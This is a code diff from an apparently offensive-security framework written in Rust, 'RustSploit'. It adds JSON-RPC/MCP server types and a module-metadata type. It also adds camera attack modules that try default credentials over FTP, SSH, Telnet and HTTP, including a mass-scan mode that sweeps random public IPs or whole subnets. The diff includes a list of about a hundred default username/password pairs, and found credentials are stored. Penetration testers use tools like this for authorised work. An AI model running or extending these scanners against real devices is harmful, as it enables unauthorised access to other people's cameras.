||||
pub method: String,
|
||||
pub params: Option<Value>,
|
||||
}
|
||||
|
||||
/// Outgoing JSON-RPC 2.0 response.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcResponse {
|
||||
pub jsonrpc: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub id: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub result: Option<Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<JsonRpcError>,
|
||||
}
|
||||
|
||||
/// JSON-RPC 2.0 error object.
|
||||
#[derive(Serialize)]
|
||||
pub struct JsonRpcError {
|
||||
pub code: i64,
|
||||
pub message: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub data: Option<Value>,
|
||||
}
|
||||
|
||||
impl JsonRpcResponse {
|
||||
/// Build a successful response carrying `result`.
|
||||
pub fn success(id: Option<Value>, result: Value) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: Some(result),
|
||||
error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build an error response.
|
||||
pub fn error(id: Option<Value>, code: i64, message: String) -> Self {
|
||||
Self {
|
||||
jsonrpc: "2.0".to_string(),
|
||||
id,
|
||||
result: None,
|
||||
error: Some(JsonRpcError {
|
||||
code,
|
||||
message,
|
||||
data: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MCP capability negotiation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Returned as the result of the `initialize` method.
|
||||
#[derive(Serialize)]
|
||||
pub struct InitializeResult {
|
||||
#[serde(rename = "protocolVersion")]
|
||||
pub protocol_version: String,
|
||||
pub capabilities: ServerCapabilities,
|
||||
#[serde(rename = "serverInfo")]
|
||||
pub server_info: ServerInfo,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerCapabilities {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub tools: Option<ToolsCapability>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub resources: Option<ResourcesCapability>,
|
||||
}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolsCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourcesCapability {}
|
||||
|
||||
#[derive(Serialize)]
|
||||
pub struct ServerInfo {
|
||||
pub name: String,
|
||||
pub version: String,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tools
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `tools/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Tool {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "inputSchema")]
|
||||
pub input_schema: Value,
|
||||
}
|
||||
|
||||
/// Result payload returned by `tools/call`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolResult {
|
||||
pub content: Vec<ToolContent>,
|
||||
#[serde(rename = "isError", skip_serializing_if = "Option::is_none")]
|
||||
pub is_error: Option<bool>,
|
||||
}
|
||||
|
||||
/// A single content block inside a `ToolResult`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ToolContent {
|
||||
#[serde(rename = "type")]
|
||||
pub content_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
|
||||
impl ToolResult {
|
||||
/// Plain-text result.
|
||||
pub fn text(s: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: s,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Serialize any `Serialize` value into pretty-printed JSON text.
|
||||
pub fn json(v: &impl Serialize) -> Self {
|
||||
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text,
|
||||
}],
|
||||
is_error: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Error result — sets `isError` to `true`.
|
||||
pub fn error(msg: String) -> Self {
|
||||
Self {
|
||||
content: vec![ToolContent {
|
||||
content_type: "text".to_string(),
|
||||
text: msg,
|
||||
}],
|
||||
is_error: Some(true),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Resources
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Descriptor returned by `resources/list`.
|
||||
#[derive(Serialize, Clone)]
|
||||
pub struct Resource {
|
||||
pub uri: String,
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
}
|
||||
|
||||
/// Content payload returned by `resources/read`.
|
||||
#[derive(Serialize)]
|
||||
pub struct ResourceContent {
|
||||
pub uri: String,
|
||||
#[serde(rename = "mimeType")]
|
||||
pub mime_type: String,
|
||||
pub text: String,
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
use serde::{Serialize, Deserialize};
|
||||
use colored::*;
|
||||
|
||||
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ModuleInfo {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub authors: Vec<String>,
|
||||
/// CVE IDs, URLs, EDB references, etc.
|
||||
pub references: Vec<String>,
|
||||
/// ISO date string, e.g. "2024-01-15"
|
||||
pub disclosure_date: Option<String>,
|
||||
pub rank: ModuleRank,
|
||||
}
|
||||
|
||||
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ModuleRank {
|
||||
/// Reliable, no crash risk
|
||||
Excellent,
|
||||
/// Usually works
|
||||
Great,
|
||||
/// Default rank
|
||||
Good,
|
||||
/// May cause instability
|
||||
Normal,
|
||||
/// Rarely works
|
||||
Low,
|
||||
/// Requires manual steps
|
||||
Manual,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ModuleRank {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
ModuleRank::Excellent => write!(f, "Excellent"),
|
||||
ModuleRank::Great => write!(f, "Great"),
|
||||
ModuleRank::Good => write!(f, "Good"),
|
||||
ModuleRank::Normal => write!(f, "Normal"),
|
||||
ModuleRank::Low => write!(f, "Low"),
|
||||
ModuleRank::Manual => write!(f, "Manual"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Result of a non-destructive vulnerability check.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CheckResult {
|
||||
Vulnerable(String),
|
||||
NotVulnerable(String),
|
||||
Unknown(String),
|
||||
Error(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CheckResult {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CheckResult::Vulnerable(msg) => write!(f, "Vulnerable: {}", msg),
|
||||
CheckResult::NotVulnerable(msg) => write!(f, "Not Vulnerable: {}", msg),
|
||||
CheckResult::Unknown(msg) => write!(f, "Unknown: {}", msg),
|
||||
CheckResult::Error(msg) => write!(f, "Error: {}", msg),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Pretty-print module info to the console.
|
||||
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Module Information ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
println!(" {:<16} {}", "Path:".bold(), module_path);
|
||||
println!(" {:<16} {}", "Name:".bold(), info.name);
|
||||
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
|
||||
if let Some(ref date) = info.disclosure_date {
|
||||
println!(" {:<16} {}", "Disclosed:".bold(), date);
|
||||
}
|
||||
println!();
|
||||
println!(" {}", "Description:".bold());
|
||||
for line in info.description.lines() {
|
||||
println!(" {}", line);
|
||||
}
|
||||
println!();
|
||||
if !info.authors.is_empty() {
|
||||
println!(" {}", "Authors:".bold());
|
||||
for author in &info.authors {
|
||||
println!(" - {}", author);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
if !info.references.is_empty() {
|
||||
println!(" {}", "References:".bold());
|
||||
for reference in &info.references {
|
||||
println!(" - {}", reference);
|
||||
}
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,20 +1,21 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
use crate::utils::url_encode;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Supported Acti services
|
||||
@@ -59,18 +60,18 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
match AsyncFtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
@@ -86,43 +87,47 @@ pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, S
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let socket_addr: std::net::SocketAddr = match address.parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -143,31 +148,28 @@ pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -181,7 +183,7 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
body.push_str(&format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
|
||||
let res = client
|
||||
@@ -192,23 +194,68 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
let body = match res.text().await {
|
||||
Ok(t) => t,
|
||||
Err(_) => String::new(),
|
||||
};
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ACTi Camera",
|
||||
default_port: 80,
|
||||
state_file: "acti_camera_mass_state.log",
|
||||
default_output: "acti_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
// Quick port check on HTTP
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let target_str = ip.to_string();
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
// Try HTTP first (most likely for cameras)
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/", target_str, port);
|
||||
for (user, pass) in &creds {
|
||||
let resp = client.get(&url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 301 || resp.status().as_u16() == 302 {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
if !body.contains("401") && !body.to_lowercase().contains("unauthorized") {
|
||||
let msg = format!("{}:{}:HTTP:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
@@ -257,17 +304,40 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
// Print summary and store credentials
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
let (svc_port, svc_name) = match service.as_str() {
|
||||
"FTP" => (21u16, "ftp"),
|
||||
"SSH" => (22, "ssh"),
|
||||
"Telnet" => (23, "telnet"),
|
||||
"HTTP" => (80, "http"),
|
||||
_ => (0, "unknown"),
|
||||
};
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, svc_port, svc_name, user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camera/acti/acti_camera_default",
|
||||
).await;
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi Camera Default Credentials".to_string(),
|
||||
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,875 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use base64::prelude::*;
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, is_subnet_target, parse_subnet, subnet_host_count, EXCLUDED_RANGES};
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// =================================================================================
|
||||
// CONSTANTS & DATA
|
||||
// =================================================================================
|
||||
|
||||
const PORT_SCAN_TIMEOUT: u64 = 2;
|
||||
const TIMEOUT: u64 = 5;
|
||||
|
||||
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
|
||||
// are not cameras and should be skipped in mass scan mode
|
||||
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
|
||||
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
// Standard web ports
|
||||
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
|
||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
||||
// RTSP ports
|
||||
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
|
||||
// RTMP ports
|
||||
1935, 1936, 1937, 1938, 1939,
|
||||
// Custom camera ports
|
||||
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
|
||||
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
|
||||
// ONVIF ports
|
||||
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
|
||||
// VLC streaming ports
|
||||
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
|
||||
// Common alternative ports
|
||||
110, 143, 993, 995,
|
||||
1024, 1025, 1026, 1027, 1028, 1029, 1030,
|
||||
2000, 2001, 2002, 2003, 2004, 2005,
|
||||
3000, 3001, 3002, 3003, 3004, 3005,
|
||||
4000, 4001, 4002, 4003, 4004, 4005,
|
||||
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
|
||||
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
|
||||
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
|
||||
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
|
||||
// Additional common ports
|
||||
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
|
||||
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
|
||||
// MMS ports
|
||||
1755, 1756, 1757, 1758, 1759, 1760,
|
||||
// High ports
|
||||
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
|
||||
];
|
||||
|
||||
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
|
||||
|
||||
const COMMON_PATHS: &[&str] = &[
|
||||
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
|
||||
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
|
||||
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
|
||||
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
|
||||
];
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", "1234567"),
|
||||
("admin", "12345678"),
|
||||
("admin", "123456789"),
|
||||
("admin", "admin123"),
|
||||
("admin", "admin1234"),
|
||||
("admin", "admin12345"),
|
||||
("admin", "password"),
|
||||
("admin", "pass"),
|
||||
("admin", "123"),
|
||||
("admin", "1111"),
|
||||
("admin", "0000"),
|
||||
("admin", "8888"),
|
||||
("admin", "default"),
|
||||
("admin", "admin@123"),
|
||||
("admin", "Admin123"),
|
||||
("admin", "Admin1234"),
|
||||
("admin", "888888"),
|
||||
("admin", "666666"),
|
||||
("admin", "4321"),
|
||||
("admin", "9999"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "toor"),
|
||||
("root", "1234"),
|
||||
("root", "12345"),
|
||||
("root", "123456"),
|
||||
("root", "pass"),
|
||||
("root", "password"),
|
||||
("root", "root123"),
|
||||
("root", "admin"),
|
||||
("root", "1111"),
|
||||
("root", "0000"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "user123"),
|
||||
("user", "password"),
|
||||
("user", "1234"),
|
||||
("user", "12345"),
|
||||
("user", "123456"),
|
||||
("user", ""),
|
||||
("guest", "guest"),
|
||||
("guest", "guest123"),
|
||||
("guest", "1234"),
|
||||
("guest", "12345"),
|
||||
("guest", "123456"),
|
||||
("guest", ""),
|
||||
("operator", "operator"),
|
||||
("operator", "operator123"),
|
||||
("operator", "1234"),
|
||||
("operator", "12345"),
|
||||
("administrator", "administrator"),
|
||||
("administrator", "admin"),
|
||||
("administrator", "1234"),
|
||||
("administrator", "12345"),
|
||||
("administrator", "123456"),
|
||||
("administrator", "password"),
|
||||
("supervisor", "supervisor"),
|
||||
("supervisor", "1234"),
|
||||
("supervisor", "12345"),
|
||||
("supervisor", "123456"),
|
||||
("supervisor", "password"),
|
||||
("support", "support"),
|
||||
("support", "support123"),
|
||||
("support", "1234"),
|
||||
("support", "password"),
|
||||
("system", "system"),
|
||||
("system", "system123"),
|
||||
("system", "1234"),
|
||||
("system", "12345"),
|
||||
("system", "123456"),
|
||||
("viewer", "viewer"),
|
||||
("viewer", "viewer123"),
|
||||
("viewer", "1234"),
|
||||
("viewer", "12345"),
|
||||
("admin1", "admin"),
|
||||
("admin1", "admin1"),
|
||||
("admin1", "1234"),
|
||||
("admin1", "12345"),
|
||||
("admin1", "123456"),
|
||||
("admin1", "password"),
|
||||
("888888", "888888"),
|
||||
("888888", "123456"),
|
||||
("888888", "000000"),
|
||||
("666666", "666666"),
|
||||
("666666", "123456"),
|
||||
("666666", "000000"),
|
||||
("", "admin"),
|
||||
("", "12345"),
|
||||
("", "123456"),
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::get_global_source_port().await.is_some() {
|
||||
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
|
||||
}
|
||||
let target = target.trim().to_string();
|
||||
print_banner();
|
||||
|
||||
// Subnet handling — iterate over each IP in the CIDR
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
let count = subnet_host_count(&network);
|
||||
crate::mprintln!("{}", format!("[*] Subnet {} — {} hosts to scan sequentially", target, count).cyan());
|
||||
for ip in network.iter() {
|
||||
let ip_str = ip.to_string();
|
||||
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
|
||||
if let Err(e) = Box::pin(run(&ip_str)).await {
|
||||
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// 1. Port Scan
|
||||
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
|
||||
if open_ports.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No open camera ports found.".red());
|
||||
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
